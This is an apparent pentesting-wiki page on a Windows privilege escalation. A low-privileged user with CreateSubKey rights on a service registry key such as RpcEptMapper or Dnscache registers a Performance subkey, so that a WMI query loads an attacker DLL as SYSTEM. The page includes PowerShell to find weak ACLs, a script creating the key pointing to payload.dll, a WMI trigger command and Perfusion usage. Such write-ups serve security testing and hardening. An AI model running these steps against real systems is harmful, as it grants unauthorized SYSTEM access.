AppendData/AddSubdirectory Permission over Service Registry
The original post is https://itm4n.github.io/windows-registry-rpceptmapper-eop/
Summary
If you only have Create Subkey / AppendData/AddSubdirectory on a service registry key, this is still a good privesc lead. You usually can't overwrite ImagePath, ServiceDll, or other existing values directly, but you may still be able to create a Performance child key under:
HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapperHKLM\SYSTEM\CurrentControlSet\Services\Dnscache- Any other
HKLM\SYSTEM\CurrentControlSet\Services\<service>key where your token hasKEY_CREATE_SUB_KEY
The trick is that Windows still supports the legacy PerfLib V1 registration model. If a service has a Performance subkey, Windows can load a DLL from there when a performance counter consumer requests data.
According to Microsoft documentation, the minimum registration is:
HKLM\SYSTEM\CurrentControlSet\Services\<service>\Performance
Library = C:\Path\payload.dll
Open = OpenPerfData
Collect = CollectPerfData
Close = ClosePerfData
So the offensive takeaway is: don't discard a service registry finding just because you only got CreateSubKey instead of SetValue.
Why this is enough for code execution
The Performance subkey does not usually exist by default on these services, so KEY_CREATE_SUB_KEY is the primitive you need. Once the key exists and contains Library/Open/Collect/Close, any performance counter consumer can trigger the DLL load.
A few important details:
- The
Libraryvalue can point to a full DLL path. - The DLL must export
OpenPerfData,CollectPerfData, andClosePerfDataand returnERROR_SUCCESS. - The code runs in the consumer's context, not necessarily in the vulnerable service process itself.
- In the classic
RpcEptMapper/Dnscachecase, a WMI performance query can makewmiprvse.exeload the DLL asNT AUTHORITY\SYSTEM.
This is why the primitive is easy to miss during triage: the parent service key is not "fully writable", but it is still weaponizable.
Quick enumeration
Manual spot-check with AccessChk:
accesschk.exe -k -w hklm\system\currentcontrolset\services\rpceptmapper
accesschk.exe -k -w hklm\system\currentcontrolset\services\dnscache
PowerShell example to look for low-privileged principals with CreateSubKey on service keys:
Get-ChildItem HKLM:\SYSTEM\CurrentControlSet\Services | ForEach-Object {
$weak = (Get-Acl $_.PSPath).Access | Where-Object {
$_.AccessControlType -eq 'Allow' -and
($_.RegistryRights -band [System.Security.AccessControl.RegistryRights]::CreateSubKey) -eq [System.Security.AccessControl.RegistryRights]::CreateSubKey -and
$_.IdentityReference -match 'Users|Authenticated Users|INTERACTIVE|Network Configuration Operators'
}
if ($weak) {
[pscustomobject]@{Service=$_.PSChildName; Principals=($weak.IdentityReference -join ', '); Rights=($weak.RegistryRights -join '; ')}
}
}
Useful tooling:
- PrivescCheck:
Get-ModifiableRegistryPathwas created specifically to spot this class of issue. - SharpUp:
SharpUp.exe audit ModifiableServiceRegistryKeys - Perfusion: automates DLL drop,
Performanceregistration, WMI trigger, token duplication, and cleanup on legacy vulnerable targets (for example:Perfusion.exe -c cmd -i -k Dnscache).
Abuse flow
Create the Performance subkey and populate the required values:
$svc = 'RpcEptMapper' # or Dnscache / NetBT / another vulnerable service
$k = "HKLM:\SYSTEM\CurrentControlSet\Services\$svc\Performance"
New-Item $k -Force | Out-Null
New-ItemProperty $k -Name Library -Value "$pwd\payload.dll" -PropertyType String -Force | Out-Null
New-ItemProperty $k -Name Open -Value 'OpenPerfData' -PropertyType String -Force | Out-Null
New-ItemProperty $k -Name Collect -Value 'CollectPerfData' -PropertyType String -Force | Out-Null
New-ItemProperty $k -Name Close -Value 'ClosePerfData' -PropertyType String -Force | Out-Null
Then trigger a privileged performance consumer. A classic example is a WMI query over Win32_Perf* classes:
powershell.exe -NoProfile -Command "Get-WmiObject -List | Where-Object { $_.Name -like 'Win32_Perf*' } | Out-Null"
Operational notes:
- Launching
perfmon.exeis useful to verify that the counter registration is correct, but that usually only loads the DLL in your own user context. - For an actual LPE, trigger a privileged consumer such as WMI.
- If you are writing your own exploit, spawning
cmd.exedirectly from inside the DLL usually leaves you with a shell in session 0.Perfusionsolves this by duplicating the privileged token into a process that was created suspended in the attacker's session. - Match the DLL architecture to the target consumer (x64 on x64 systems).
Version notes / recent developments
Historically, the built-in weak keys were:
- Windows 7 / Windows Server 2008 R2:
RpcEptMapperandDnscache - Windows 8 / Windows Server 2012:
RpcEptMapper
Perfusion notes that the April 2021 updates removed the easy exploitation path on updated Windows 8 / Windows Server 2012, while Windows 7 / Windows Server 2008 R2 remained exploitable through Dnscache.
This primitive is not only historical. In January 2025, Microsoft patched a related AD DS issue where members of Network Configuration Operators could create subkeys under Dnscache and NetBT, and the same Performance-counter DLL registration idea could be reused to reach SYSTEM on supported systems.
So the modern lesson is generic: whenever a low-privileged principal has CreateSubKey on HKLM\SYSTEM\CurrentControlSet\Services\<service>, check whether a Performance child key is enough before dismissing the finding.